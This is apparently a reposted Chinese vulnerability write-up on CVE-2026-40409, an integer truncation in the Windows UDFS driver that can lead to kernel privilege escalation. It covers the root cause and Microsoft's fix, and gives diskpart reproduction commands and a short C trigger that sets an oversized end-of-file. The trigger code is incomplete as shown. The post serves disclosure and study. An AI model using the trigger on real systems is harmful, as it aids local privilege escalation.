CVE-2026-40409UDFS的整数截断漏洞分析

admin 2026-06-30 08:43:03 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文分析了CVE-2026-40409UDFS驱动整数截断漏洞,该漏洞位于UdfSetFileAllocationSize函数中,因64位变量被截断为32位使用导致上下文不一致,可能引发内核权限提升。微软通过添加文件大小校验修复漏洞,文章详细提供了漏洞复现步骤和POC代码示例。 综合评分: 86 文章分类: 漏洞分析,二进制安全,应急响应,解决方案,终端安全


cover_image

CVE-2026-40409 UDFS的整数截断漏洞分析

原创

毕方安全实验室 毕方安全实验室

BeFun安全实验室

2026年6月29日 17:53 四川

在小说阅读器读本章

去阅读

CVE-2026-40409 UDFS的整数截断漏洞

漏洞分析

MSRC在6月修复了两个udfs.sys的漏洞,其中一个是由我们提交的,简单来说就是某个结构体里的一个64位变量,后面用的时候是截断为32位用的,但是另一个位置又用的64位,造成了上下文不一致,导致内核可以对一个用户指针进行解引用,进而触发权限提升。

漏洞位于udfs!UdfSetFileAllocationSize

在 UdfSetFileAllocationSize 中,驱动使用卷参数将请求的文件大小换算为逻辑块数,核心逻辑可以概括为:

c

RoundedBlockCount =

    ALIGN_UP(NewFileSize, Vcb->BlockSize) >> Vcb->BlockShift;

在我的分析环境中:

  • Vcb->BlockSize = 0x200
  • Vcb->BlockShift = 9

例如:

text

NewFileSize = 0x0000080000008200

RoundedBlockCount = 0x0000000400000041

RoundedBlockCount 随后被写入 SCB 中多个 32 位字段,包括AllocatedBlockCount``AllocationSyncBlockCount

这一步会发生 64 位到 32 位截断。例如:

text

0x0000000400000000 -> 0x00000000

0x0000000400000041 -> 0x00000041

与此同时,同一 SCB 中多个 64 位大小字段仍会保留原始大值,包括FileSize``ValidDataLength``AdsFileSize

于是驱动进入如下不一致状态:

  • AllocatedBlockCount``AllocationSyncBlockCount

    已被截断

  • FileSize``ValidDataLength``AdsFileSize

    仍是超大值

修复

SCB结构体使用的地方都加了类似的检查:

c

if (Feature_2146947386__private_IsEnabledDeviceUsageNoInline()) {

    if (new_size < 0 ||

        new_size > (0xffffffffLL << vcb->SectorShift)) {

        return STATUS_INVALID_PARAMETER;

    }

}

| 地址 | 函数 | 作用 | | — | — | — | | 0x14004d84f | UdfSetFileAllocationSize | 设置 EOF / allocation size 前校验新文件大小 | | 0x1400585a9 | UdfInitializeScbFromIcbContext | 从磁盘 ICB 初始化 SCB 时校验 ICB 文件大小 | | 0x140053592 | UdfInitializeAllocations | 初始化 allocation 时校验 SCB 文件大小 | | 0x1400538b3 | UdfInitializeAllocations | 遍历 extent 后校验累计大小 | | 0x14000333c | UdfCommonWrite | 写入扩展 EOF 路径校验 end offset | | 0x1400108ae | UdfDasdWrite | DASD 写路径校验写入区间 |

复现

使用以下命令创建一个udf虚拟盘:

Code

mkdir C:\temp 2>nul & (echo create vdisk file=C:\temp\udf-test.vhdx maximum=100 type=fixed&echo select vdisk file=C:\temp\udf-test.vhdx&echo attach vdisk&echo create partition primary&echo assign letter=D&echo exit) > C:\temp\udf-diskpart.txt & diskpart /s C:\temp\udf-diskpart.txt & format D: /fs:UDF /q /y

使用以下命令清理:

Code

(echo select vdisk file=C:\temp\udf-test.vhdx&echo detach vdisk&echo exit) > C:\temp\udf-cleanup-diskpart.txt & diskpart /s C:\temp\udf-cleanup-diskpart.txt & del /f /q C:\temp\udf-test.vhdx C:\temp\udf-diskpart.txt C:\temp\udf-cleanup-diskpart.txt

poc

c

typedef struct _FILE_END_OF_FILE_INFORMATION {

    LARGE_INTEGER EndOfFile;

} FILE_END_OF_FILE_INFORMATION, *PFILE_END_OF_FILE_INFORMATION;

typedef NTSTATUS(NTAPI *PNtSetInformationFile)(

    HANDLE                 FileHandle,

    PIO_STATUS_BLOCK       IoStatusBlock,

    PVOID                  FileInformation,

    ULONG                  Length,

    FILE_INFORMATION_CLASS FileInformationClass

);

int main(int argc, char** argv) {

    HANDLE file = CreateFileA(

        argv[1],

        GENERIC_READ | GENERIC_WRITE,

        FILE_SHARE_READ | FILE_SHARE_WRITE,

        NULL,

        OPEN_ALWAYS,

        FILE_ATTRIBUTE_NORMAL,

        NULL);

    if (file == INVALID_HANDLE_VALUE) {

        printf(“[-] CreateFileA failed: %lu\n”, GetLastError());

        return 1;

    }

    FILE_END_OF_FILE_INFORMATION eofInfo;

    IO_STATUS_BLOCK iosb;

    ZeroMemory(&iosb, sizeof(iosb));

    eofInfo.EndOfFile.QuadPart = 0x0000080000000000LL;

    NTSTATUS status = NtSetInformationFilePtr(

        file,

        &iosb,

        &eofInfo,

        sizeof(eofInfo),

        FileEndOfFileInformation);

    CloseHandle(file);

}



免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:BeFun安全实验室 毕方安全实验室 毕方安全实验室《CVE-2026-40409 UDFS的整数截断漏洞分析》

评论:0   参与:  0